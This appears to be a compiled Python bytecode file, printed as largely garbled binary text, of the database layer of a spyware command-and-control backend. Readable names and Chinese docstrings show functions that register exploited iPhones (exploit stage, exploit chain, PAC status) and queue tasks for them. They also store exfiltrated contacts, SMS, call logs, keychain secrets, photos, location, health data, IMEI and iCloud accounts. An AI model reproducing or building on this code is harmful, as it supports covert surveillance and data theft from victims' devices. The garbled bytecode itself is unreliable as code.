+
    Dd>jJ                        R t ^ RIHtHt ^ RIHtHtHtHt ^ RIH	t	 ^ RI
HtHtHtHt ^ RIt^ RItR R ltRXR R	 lltR
 R ltRYR R lltR R ltR R ltR R ltR R ltRZR R lltR R ltR R ltR R ltRXR R lltR  R! ltR[R" R# lltR$ R% lt RYR& R' llt!RXR( R) llt"RXR* R+ llt#RXR, R- llt$R. R/ lt%RXR0 R1 llt&RXR2 R3 llt'R\R4 R5 llt(RXR6 R7 llt)R8 R9 lt*RYR: R; llt+R< R= lt,R> R? lt-R@ RA lt.RB RC lt/RD RE lt0RF RG lt1RH RI lt2RJ RK lt3RL RM lt4RN RO lt5RP RQ lt6RR RS lt7RT RU lt8RV RW lt9R# )]u   数据库 CRUD 操作)datetime	timedelta)ListOptionalDictAny)Session)and_or_descfuncNc                f    V ^8  d   QhR\         R\        R\        \        P                  ,          /#    dbdevice_uuidreturnr   strr   modelsDevice)formats   "1/Users/wind/Downloads/Coruna-main/backend/crud.py__annotate__r      s/     \ \7 \ \&--1H \    c                    V P                  \        P                  4      P                  \        P                  P                  V8H  4      P                  4       # )u   获取设备)queryr   r   filterr   firstr   r   s   &&r   
get_devicer       s8    88FMM"))&--*C*C{*RSYY[[r   c          	      r    V ^8  d   QhR\         R\        R\        R\        \        P                  ,          /# r   r   skiplimitr   )r   intr   r   r   )r   s   "r   r   r      s7     k kG k3 k3 kfmmAT kr   c                    V P                  \        P                  4      P                  \	        \        P                  P
                  4      4      P                  V4      P                  V4      P                  4       # )u   获取设备列表)	r   r   r   order_byr   	last_seenoffsetr$   allr   r#   r$   s   &&&r   get_devicesr,      sP    88FMM"++D1H1H,IJQQRVW]]^cdhhjjr   c                Z    V ^8  d   QhR\         R\        \        P                  ,          /# r   r   r   )r   r   r   r   )r   s   "r   r   r      s#     4 47 4tFMM': 4r   c                   \         P                  ! 4       \        ^<R7      ,
          pV P                  \        P
                  4      P                  \        P
                  P                  R8H  \        P
                  P                  V8  4      P                  \        \        P
                  P                  4      4      P                  4       # )u   获取在线设备secondsonline)r   utcnowr   r   r   r   r   statusr(   r'   r   r*   )r   	thresholds   & r   get_online_devicesr6      s}    !Ib$99I88FMM"))(9, htFMM++,-cce4r   c                p    V ^8  d   QhR\         R\        P                  R\        R\        P
                  /# )r   r   deviceipr   )r   schemasDeviceRegisterr   r   r   )r   s   "r   r   r       s5     1 1g 1w'='= 13 1RXR_R_ 1r   c                   RpVP                   '       d    VP                   P                  R4      p\        V4      ^ 8  d   \        V^ ,          4      M^ p\        V4      ^8  d   \        V^,          4      M^ p\        V4      ^8  d   \        V^,          4      M^ pVR,          V^d,          ,           V,           p\        P                  ! R"/ RVP                  bRVP                  bRVP                   bRVbRVP                  bR	VP                  bR
VbRRbRVP                  bRVP                  bRVP                  bRVP                  bRVP                   bRVP"                  bRVP$                  bRVP&                  bRVP(                  bRVP*                  bRVP,                  bRVP.                  bRVP0                  bRVP2                  bRVP4                  bRVP6                  bRVP8                  bRVP:                  bRVP<                  bR VP>                  bR!\@        PB                  ! 4       b pV PE                  V4       V PG                  4        V PI                  V4       V#   \        \
        3 d     ELi ; i)#u   创建设备N.i'  r   device_modelios_versionios_version_numericchipset
user_agent
ip_addressr4   r2   exploit_stageexploit_chainruntime_typehas_pacpac_integrityscreen_resolutionbattery_levelnetwork_typelatitude	longitudealtitudeaccuracyphone_numberimeiserial_numbericloud_accountdevice_namelocaletimezoneextrar(    )%r?   splitlenr%   
ValueError
IndexErrorr   r   r   r>   rA   rB   rD   rE   rF   rG   rH   rI   rJ   rK   rL   rM   rN   rO   rP   rQ   rR   rS   rT   rU   rV   rW   r   r3   addcommitrefresh)	r   r8   r9   r@   partsmajorminorpatch	db_devices	   &&&      r   create_devicere       s    	&&,,S1E%(Z!^CaME%(Z!^CaME%(Z!^CaME"'%-%#+"="E  &&(( && 0	
  $$   ** ** ((  ** !22 **  ((!" #$ ""%& '( )* ((+, [[-. **/0 ,,12 &&34 }}56 78 ll9: //#;I@ FF9IIKJJyM J' 		s   B%I' 'I<;I<c                z    V ^8  d   QhR\         R\        P                  R\        \        P
                  ,          /# )r   r   	heartbeatr   )r   r:   DeviceHeartbeatr   r   r   )r   s   "r   r   r   T   s4       G4K4K PXY_YfYfPg r   c                   \        WP                  4      pV'       g   R# VP                  Vn        \        P                  ! 4       Vn        \        P                  ! 4       Vn        VP                  e   VP                  Vn        VP                  eO   VP                  Vn        VP                  R8X  d-   VP                  '       g   \        P                  ! 4       Vn	        VP                  '       d?   VP                  '       g   / Vn
        VP                  P                  VP                  4       V P                  4        V P                  V4       V# )u   更新设备心跳N	completed)r    r   r4   r   r3   r(   last_activityrJ   rD   first_exploit_atrW   updater^   r_   )r   rg   r8   s   && r   update_device_heartbeatrn   T   s    112F$$FM(F#??,F*(66*(66""k1&:Q:Q:Q&.oo&7F#|||FLIOO,IIKJJvMr   c          	      r    V ^8  d   QhR\         R\        R\        R\        \        P                  ,          /# )r   r   r   r4   r   r   )r   s   "r   r   r   n   s4      W 3  QWQ^Q^H_ r   c                    \        W4      pV'       g   R# W#n        \        P                  ! 4       Vn        V P                  4        V P                  V4       V# )u   更新设备状态N)r    r4   r   r3   r(   r^   r_   )r   r   r4   r8   s   &&& r   update_device_statusrq   n   s@    (FM(FIIKJJvMr   c                z    V ^8  d   QhR\         R\        P                  R\        \        P
                  ,          /# )r   r   locationr   )r   r:   DeviceLocationUpdater   r   r   )r   s   "r   r   r   |   s4      w '2N2N S[\b\i\iSj r   c                B   \        WP                  4      pV'       g   R# VP                  Vn        VP                  Vn        VP                  Vn        VP
                  Vn        \        P                  ! 4       Vn        V P                  4        V P                  V4       V# )u   更新设备位置N)r    r   rL   rM   rN   rO   r   r3   location_updated_atr^   r_   )r   rs   r8   s   && r   update_device_locationrw   |   sv    001F''FO))F''FO''FO!)!2FIIKJJvMr   c                <    V ^8  d   QhR\         R\        R\        /# r   )r   r   bool)r   s   "r   r   r      s!      g C D r   c                r    \        W4      pV'       g   R# V P                  V4       V P                  4        R# )u   删除设备FT)r    deleter^   )r   r   r8   s   && r   delete_devicer|      s*    (FIIfIIKr   c                H    V ^8  d   QhR\         R\        R\        R\        /# )r   r   r   task_completed
exfil_size)r   r   ry   r%   )r   s   "r   r   r      s)      G # t ad r   c                8   \        W4      pV'       g   R# V;P                  ^,          un        V'       d   V;P                  ^,          un        MV;P                  ^,          un        V^ 8  d   V;P                  V,          un        V P                  4        R# )u   更新设备统计N)r    total_taskscompleted_tasksfailed_taskstotal_exfilr^   )r   r   r~   r   r8   s   &&&& r   update_device_statsr      si    (F
!!#q A~j(IIKr   c                d    V ^8  d   QhR\         R\        P                  R\        P                  /# )r   r   taskr   )r   r:   
TaskCreater   Task)r   s   "r   r   r      s+      G 7#5#5 &++ r   c           
     F   \         P                  ! VP                  VP                  VP                  RVP
                  VP                  VP                  R7      pV P                  V4       V P                  4        V P                  V4       \        WP                  4       V# )u   创建任务pending)r   	task_typepayloadr4   prioritytimeout_secondsmetadata)r   r   r   r   r   r   r   r   r]   r^   r_   r   )r   r   db_tasks   && r   create_taskr      sx    kk$$..,,G FF7OIIKJJw ,,-Nr   c                z    V ^8  d   QhR\         R\        P                  R\        \        P
                  ,          /# )r   r   batchr   )r   r:   TaskBatchCreater   r   r   )r   s   "r   r   r      s0      7 7+B+B tFKKGX r   c           
         . pVP                    Fk  p\        P                  ! VVP                  VP                  VP
                  VP                  VP                  R7      pVP                  \        W4      4       Km  	  V# )u   批量创建任务)r   r   r   r   r   r   )
device_uuidsr:   r   r   r   r   r   r   appendr   )r   r   tasksr   r   s   &&   r   create_batch_tasksr      si    E))!!#ooMM^^!11^^
 	[*+ * Lr   c                f    V ^8  d   QhR\         R\        R\        \        P                  ,          /# r   r   task_idr   )r   r%   r   r   r   )r   s   "r   r   r      s/     K K K3 K8FKK+@ Kr   c                    V P                  \        P                  4      P                  \        P                  P                  V8H  4      P                  4       # )u   获取任务)r   r   r   r   idr   )r   r   s   &&r   get_taskr      s6    88FKK '''(ABHHJJr   c                ~    V ^8  d   QhR\         R\        R\        R\        R\        \        P
                  ,          /# r   r   r   r#   r$   r   )r   r   r%   r   r   r   )r   s   "r   r   r      sC     M M Ms M# M# MX\]c]h]hXi Mr   c                L   V P                  \        P                  4      P                  \        P                  P                  V8H  4      P                  \        \        P                  P                  4      4      P                  V4      P                  V4      P                  4       # )u   获取设备任务列表)r   r   r   r   r   r'   r   
created_atr)   r$   r*   r   r   r#   r$   s   &&&&r   get_device_tasksr      sd    88FKK '';.htFKK**+,VVD\%%,ssuMr   c                f    V ^8  d   QhR\         R\        R\        \        P                  ,          /# r   )r   r   r   r   r   )r   s   "r   r   r      s/     I I' I IV[[8I Ir   c                z   V P                  \        P                  4      P                  \        P                  P                  V8H  \        P                  P
                  R8H  4      P                  \        \        P                  P                  4      \        P                  P                  4      P                  4       # )u   获取待处理任务r   )r   r   r   r   r   r4   r'   r   r   r   r*   r   s   &&r   get_pending_tasksr      st    88FKK '';.i' htFKK(()6;;+A+AB335Ir   c                    V ^8  d   QhR\         R\        R\        R\        R\        R\        \        P
                  ,          /# )r   r   r   r4   resulterror_messager   )r   r%   r   r   r   r   )r   s   "r   r   r      sT      7 S # s be qy  {A  {F  {F  rG r   c                   \        W4      pV'       g   R# W%n        VR8X  d.   VP                  '       g   \        P                  ! 4       Vn        M!VR9   d   \        P                  ! 4       Vn        Ve   W5n        Ve   WEn        V P                  4        V P                  V4       VR8X  d   \        WP                  RR7       V# VR8X  d   \        WP                  RR7       V# )	u   更新任务状态Nrunningrj   failedT)r~   F)rj   r   	cancelledtimeout)r   r4   
started_atr   r3   completed_atr   r   r^   r_   r   r   )r   r   r4   r   r   r   s   &&&&& r   update_task_statusr      s    B DK4???"//+	B	B$OO- *IIKJJt B 0 0F K 
8	B 0 0GKr   c                <    V ^8  d   QhR\         R\        R\        /# r   )r   r%   ry   )r   s   "r   r   r     s!      G c d r   c                r    \        W4      pV'       g   R# V P                  V4       V P                  4        R# )u   删除任务FT)r   r{   r^   )r   r   r   s   && r   delete_taskr     s)    B DIIdOIIKr   c                p    V ^8  d   QhR\         R\        P                  R\        R\        P
                  /# )r   r   exfil	file_pathr   )r   r:   ExfilUploadr   r   Exfil)r   s   "r   r   r     s5      W W%8%8 S TZT`T` r   c                   \         P                  ! VP                  VP                  VP                  VP
                  VP                  TVP                  '       d   VP                  R,          MRVP                  VP                  VP                  R7
      pV P                  V4       V P                  4        V P                  V4       V# )u   创建数据外泄记录:Ni   NN)
r   categorypathdescription	file_sizer   content_preview	mime_typer   r   )r   r   r   r   r   r   r   contentr   r   r   r]   r^   r_   )r   r   r   db_exfils   &&& r   create_exfilr     s    ||%%ZZ%%//05e,4//H FF8IIKJJxOr   c          	      r    V ^8  d   QhR\         R\        R\        R\        \        P                  ,          /# r"   )r   r%   r   r   r   )r   s   "r   r   r   (  s7     j j' j j jtFLL?Q jr   c                    V P                  \        P                  4      P                  \	        \        P                  P
                  4      4      P                  V4      P                  V4      P                  4       # )u   获取数据外泄列表)	r   r   r   r'   r   r   r)   r$   r*   r+   s   &&&r   	get_exfilr   (  sP    88FLL!**40G0G+HIPPQUV\\]bcggiir   c                ~    V ^8  d   QhR\         R\        R\        R\        R\        \        P
                  ,          /# r   r   r   r%   r   r   r   )r   s   "r   r   r   -  sC     N N Ns N# N# NX\]c]i]iXj Nr   c                L   V P                  \        P                  4      P                  \        P                  P                  V8H  4      P                  \        \        P                  P                  4      4      P                  V4      P                  V4      P                  4       # )u   获取设备数据外泄列表)r   r   r   r   r   r'   r   r   r)   r$   r*   r   s   &&&&r   get_device_exfilr   -  sd    88FLL!((  K/htFLL++,-ffTl55<Nr   c                ~    V ^8  d   QhR\         R\        R\        R\        R\        \        P
                  ,          /# )r   r   r   r#   r$   r   r   )r   s   "r   r   r   4  sC     N Ng N NC NC NZ^_e_k_kZl Nr   c                L   V P                  \        P                  4      P                  \        P                  P                  V8H  4      P                  \        \        P                  P                  4      4      P                  V4      P                  V4      P                  4       # )u   按类别获取数据外泄)r   r   r   r   r   r'   r   r   r)   r$   r*   )r   r   r#   r$   s   &&&&r   get_exfil_by_categoryr   4  sd    88FLL!(()htFLL++,-ffTl55<Nr   c                d    V ^8  d   QhR\         R\        P                  R\        P                  /# )r   r   logr   )r   r:   DeviceLogCreater   	DeviceLog)r   s   "r   r   r   =  s-      ' (?(? FDTDT r   c           
     0   \         P                  ! VP                  VP                  VP                  VP
                  VP                  VP                  VP                  R7      pV P                  V4       V P                  4        V P                  V4       V# )u   创建设备日志)r   stager4   message
elapsed_msr   	log_level)r   r   r   r   r4   r   r   r   r   r]   r^   r_   )r   r   db_logs   && r   create_device_logr   =  sj    OOiizz>>--F FF6NIIKJJvMr   c                ~    V ^8  d   QhR\         R\        R\        R\        R\        \        P
                  ,          /# r   )r   r   r%   r   r   r   )r   s   "r   r   r   P  sC     R R Rc R R RW[\b\l\lWm Rr   c                L   V P                  \        P                  4      P                  \        P                  P                  V8H  4      P                  \        \        P                  P                  4      4      P                  V4      P                  V4      P                  4       # )u   获取设备日志)r   r   r   r   r   r'   r   r   r)   r$   r*   r   s   &&&&r   get_device_logsr   P  sj    88F$$%,,$$3htF$$//01&&,uuU|CCERr   c          	      r    V ^8  d   QhR\         R\        R\        R\        \        P                  ,          /# r"   )r   r%   r   r   r   )r   s   "r   r   r   W  s9     r rW rC rC r$vGWGWBX rr   c                    V P                  \        P                  4      P                  \	        \        P                  P
                  4      4      P                  V4      P                  V4      P                  4       # )u   获取所有日志)	r   r   r   r'   r   r   r)   r$   r*   r+   s   &&&r   get_all_logsr   W  T    88F$$%..tF4D4D4O4O/PQXXY]^ddejkooqqr   c                    V ^8  d   QhR\         R\        R\        R\        R\        R\        R\        P                  /# )r   r   r9   rB   refererr   methodr   )r   r   r   	AccessLog)r   s   "r   r   r   ^  sR      ' s  3 [^ x{   JP  JZ  JZ r   c                    \         P                  ! VVVVVR7      pV P                  V4       V P                  4        V P	                  V4       V# )u   创建访问日志)r9   rB   r   r   r   )r   r   r]   r^   r_   )r   r9   rB   r   r   r   r   s   &&&&&& r   create_access_logr   ^  sH    F FF6NIIKJJvMr   c          	      r    V ^8  d   QhR\         R\        R\        R\        \        P                  ,          /# r"   )r   r%   r   r   r   )r   s   "r   r   r   m  s9     r r rs rs rT&JZJZE[ rr   c                    V P                  \        P                  4      P                  \	        \        P                  P
                  4      4      P                  V4      P                  V4      P                  4       # )u   获取访问日志)	r   r   r   r'   r   r   r)   r$   r*   r+   s   &&&r   get_access_logsr   m  r   r   c                0    V ^8  d   QhR\         R\        /# r.   )r   r%   )r   s   "r   r   r   r  s     . .' .c .r   c                \    V P                  \        P                  4      P                  4       # )u   获取访问日志总数)r   r   r   count)r   s   &r   get_all_access_logs_countr   r  s     88F$$%++--r   c                R    V ^8  d   QhR\         R\        \        ,          R\        /# )r   r   log_idsr   )r   r   r%   )r   s   "r   r   r   w  s%      7 T#Y # r   c                `   V'       dg   V P                  \        P                  4      P                  \        P                  P                  P                  V4      4      P                  RR7      pM/V P                  \        P                  4      P                  RR7      pV P                  4        V# )uE   删除访问日志 如果指定ID则删除指定ID 否则删除所有F)synchronize_session)r   r   r   r   r   in_r{   r^   )r   r   r   s   && r   delete_access_logsr   w  sz    ))*11&2B2B2E2E2I2I'2RSZZotZu))*11e1LIIKLr   c                d    V ^8  d   QhR\         R\        P                  R\        P                  /# )r   r   contactr   )r   r:   ContactDatar   ContactRecord)r   s   "r   r   r     -      w )<)< AUAU r   c                    \         P                  ! R/ VP                  4       B pV P                  V4       V P	                  4        V P                  V4       V# )u   创建联系人记录rX   )r   r   dictr]   r^   r_   )r   r   
db_contacts   && r   create_contactr     B    %%77JFF:IIKJJzr   c                d    V ^8  d   QhR\         R\        P                  R\        P                  /# )r   r   smsr   )r   r:   SMSDatar   	SMSRecord)r   s   "r   r   r     +      7  V5E5E r   c                    \         P                  ! R/ VP                  4       B pV P                  V4       V P	                  4        V P                  V4       V# )u   创建短信记录rX   )r   r  r   r]   r^   r_   )r   r  db_smss   && r   
create_smsr    @    +
+FFF6NIIKJJvMr   c                d    V ^8  d   QhR\         R\        P                  R\        P                  /# )r   r   callr   )r   r:   CallDatar   
CallRecord)r   s   "r   r   r     -      G 7#3#3 8I8I r   c                    \         P                  ! R/ VP                  4       B pV P                  V4       V P	                  4        V P                  V4       V# )u   创建通话记录rX   )r   r  r   r]   r^   r_   )r   r
  db_calls   && r   create_callr    @    .$))+.GFF7OIIKJJwNr   c                d    V ^8  d   QhR\         R\        P                  R\        P                  /# )r   r   keychainr   )r   r:   KeychainDatar   KeychainRecord)r   s   "r   r   r     s-       7+?+? FDYDY r   c                    \         P                  ! R/ VP                  4       B pV P                  V4       V P	                  4        V P                  V4       V# )u   创建钥匙串记录rX   )r   r  r   r]   r^   r_   )r   r  db_keychains   && r   create_keychainr    sB    '':(--/:KFF;IIKJJ{r   c                d    V ^8  d   QhR\         R\        P                  R\        P                  /# )r   r   photor   )r   r:   	PhotoDatar   PhotoRecord)r   s   "r   r   r     s-      W W%6%6 6;M;M r   c                    \         P                  ! R/ VP                  4       B pV P                  V4       V P	                  4        V P                  V4       V# )u   创建照片记录rX   )r   r  r   r]   r^   r_   )r   r  db_photos   && r   create_photor    sA    !!1EJJL1HFF8IIKJJxOr   c                d    V ^8  d   QhR\         R\        P                  R\        P                  /# )r   r   appr   )r   r:   AppDatar   	AppRecord)r   s   "r   r   r     r  r   c                    \         P                  ! R/ VP                  4       B pV P                  V4       V P	                  4        V P                  V4       V# )u   创建应用记录rX   )r   r#  r   r]   r^   r_   )r   r!  db_apps   && r   
create_appr&    r  r   c                d    V ^8  d   QhR\         R\        P                  R\        P                  /# )r   r   processr   )r   r:   ProcessDatar   ProcessRecord)r   s   "r   r   r     r   r   c                    \         P                  ! R/ VP                  4       B pV P                  V4       V P	                  4        V P                  V4       V# )u   创建进程记录rX   )r   r*  r   r]   r^   r_   )r   r(  
db_processs   && r   create_processr-    r   r   c                d    V ^8  d   QhR\         R\        P                  R\        P                  /# )r   r   wifir   )r   r:   WiFiDatar   
WiFiRecord)r   s   "r   r   r     r  r   c                    \         P                  ! R/ VP                  4       B pV P                  V4       V P	                  4        V P                  V4       V# )u   创建WiFi记录rX   )r   r1  r   r]   r^   r_   )r   r/  db_wifis   && r   create_wifir4    r  r   c                d    V ^8  d   QhR\         R\        P                  R\        P                  /# )r   r   historyr   )r   r:   BrowserHistoryDatar   BrowserHistoryRecord)r   s   "r   r   r     s.      w 1K1K PVPkPk r   c                    \         P                  ! R/ VP                  4       B pV P                  V4       V P	                  4        V P                  V4       V# )u   创建浏览器历史记录rX   )r   r8  r   r]   r^   r_   )r   r6  
db_historys   && r   create_browser_historyr;    sB    ,,>w||~>JFF:IIKJJzr   c                d    V ^8  d   QhR\         R\        P                  R\        P                  /# )r   r   eventr   )r   r:   CalendarEventDatar   CalendarEvent)r   s   "r   r   r     s-      g g.G.G FL`L` r   c                    \         P                  ! R/ VP                  4       B pV P                  V4       V P	                  4        V P                  V4       V# )u   创建日历事件rX   )r   r?  r   r]   r^   r_   )r   r=  db_events   && r   create_calendar_eventrB    sA    ##3ejjl3HFF8IIKJJxOr   c                d    V ^8  d   QhR\         R\        P                  R\        P                  /# )r   r   noter   )r   r:   NoteDatar   
NoteRecord)r   s   "r   r   r     r  r   c                    \         P                  ! R/ VP                  4       B pV P                  V4       V P	                  4        V P                  V4       V# )u   创建笔记记录rX   )r   rF  r   r]   r^   r_   )r   rD  db_notes   && r   create_noterI    r  r   c                d    V ^8  d   QhR\         R\        P                  R\        P                  /# )r   r   healthr   )r   r:   
HealthDatar   HealthRecord)r   s   "r   r   r     s-      7 G,>,> 6CVCV r   c                    \         P                  ! R/ VP                  4       B pV P                  V4       V P	                  4        V P                  V4       V# )u   创建健康数据rX   )r   rM  r   r]   r^   r_   )r   rK  	db_healths   && r   create_health_datarP    sB    ##4fkkm4IFF9IIKJJyr   c                D    V ^8  d   QhR\         R\        P                  /# r.   )r   r:   
AdminStats)r   s   "r   r   r     s      7 7 7G$6$6 7r   c                	   V P                  \        P                  ! \        P                  P
                  4      4      P                  4       p\        P                  ! 4       \        ^<R7      ,
          pV P                  \        P                  ! \        P                  P
                  4      4      P                  \        P                  P                  R8H  \        P                  P                  V8  4      P                  4       pW,
          pV P                  \        P                  ! \        P                  P
                  4      4      P                  \        P                  P                  R8H  4      P                  4       pV P                  \        P                  ! \        P                  P
                  4      4      P                  4       pV P                  \        P                  ! \        P                  P
                  4      4      P                  \        P                  P                  R8H  4      P                  4       pV P                  \        P                  ! \        P                  P
                  4      4      P                  \        P                  P                  R8H  4      P                  4       pV P                  \        P                  ! \        P                  P
                  4      4      P                  \        P                  P                  R8H  4      P                  4       p	V P                  \        P                  ! \        P                  P
                  4      4      P                  \        P                  P                  R8H  4      P                  4       p
V P                  \        P                  ! \        P                  P
                  4      4      P                  4       pV P                  \        P                   ! \        P                  P"                  4      4      P                  4       ;'       g    ^ p\%        V ^ ^R7      pV P                  \        P                  4      P'                  \)        \        P                  P*                  4      4      P-                  ^
4      P/                  4       p\1        V ^ ^
R7      p\2        P4                  ! VVVVVVVV	V
VVVVVR7      # )	u   获取管理员统计数据r0   r2   rj   r   r   r   )r#   r$   )total_devicesonline_devicesoffline_devicesexploited_devicesr   pending_tasksrunning_tasksr   r   total_exfil_counttotal_exfil_sizerecent_devicesrecent_tasksrecent_exfil)r   r   r   r   r   r   scalarr   r3   r   r   r4   r(   rD   r   r   sumr   r,   r'   r   r   r$   r*   r   r:   rR  )r   rT  online_thresholdrU  rV  rW  r   rX  rY  r   r   rZ  r[  r\  r]  r^  s   &               r   get_admin_statsrb    s8    HHTZZ(8(89:AACM(9R+@@XXdjj)9)9:;BB(#33 fh  $4OFMM,<,<!=>EE##{2fh 
 ((4::fkknn56==?KHHTZZ78??i'fh  HHTZZ78??i'fh  hhtzz&++..9:AAk)fh  88DJJv{{~~67>>h&fh 
 FLLOO!<=DDFxx)?)? @AHHJOOa !!15N88FKK(11V[[##$eBi  Rar2L#%'+##'!+)%!! r   c                ^    V ^8  d   QhR\         R\        R\        \        \        3,          /# r   )r   r   r   r%   )r   s   "r   r   r   +  s)     ! !w !S !T#s(^ !r   c                *	   RV P                  \        P                  ! \        P                  P
                  4      4      P                  \        P                  P                  V8H  4      P                  4       RV P                  \        P                  ! \        P                  P
                  4      4      P                  \        P                  P                  V8H  4      P                  4       RV P                  \        P                  ! \        P                  P
                  4      4      P                  \        P                  P                  V8H  4      P                  4       RV P                  \        P                  ! \        P                  P
                  4      4      P                  \        P                  P                  V8H  4      P                  4       RV P                  \        P                  ! \        P                  P
                  4      4      P                  \        P                  P                  V8H  4      P                  4       RV P                  \        P                  ! \        P                  P
                  4      4      P                  \        P                  P                  V8H  4      P                  4       RV P                  \        P                  ! \        P                  P
                  4      4      P                  \        P                  P                  V8H  4      P                  4       RV P                  \        P                  ! \        P                  P
                  4      4      P                  \        P                  P                  V8H  4      P                  4       R	V P                  \        P                  ! \        P                   P
                  4      4      P                  \        P                   P                  V8H  4      P                  4       R
V P                  \        P                  ! \        P"                  P
                  4      4      P                  \        P"                  P                  V8H  4      P                  4       /
# )u   获取设备各类数据数量contactsr  calls	keychainsphotosappswifi_networksbrowser_historycalendar_eventsnotes)r   r   r   r   r   r   r   r   r_  r  r  r  r  r#  r1  r8  r?  rF  r   s   &&r   get_device_data_countsrn  +  s    	BHHTZZ(<(<(?(?@AHH  ,,;

&(rxx

6#3#3#6#678??((K7

&($**V%6%6%9%9:;BB))[8

&(RXXdjj)>)>)A)ABCJJ!!--<

&("((4::f&8&8&;&;<=DD**k9

&(F$4$4$7$789@@((K7

&($**V->->-A-A"BCJJ))[8

&(288DJJv/J/J/M/M$NOVV''33{B

&(288DJJv/C/C/F/F$GHOO  ,,;

&($**V%6%6%9%9:;BB))[8

&(= r   )    d   )N)Fro  )NN) rq  z/group.htmlPOST):__doc__r   r   typingr   r   r   r   sqlalchemy.ormr   
sqlalchemyr	   r
   r   r   r   r:   r    r,   r6   re   rn   rq   rw   r|   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r  r  r  r  r&  r-  r4  r;  rB  rI  rP  rb  rn  rX   r   r   <module>rw     s     ( , , " , , 
\
k
41h4"(,"K
MI<,j
NN&Rrr
.
7t!r   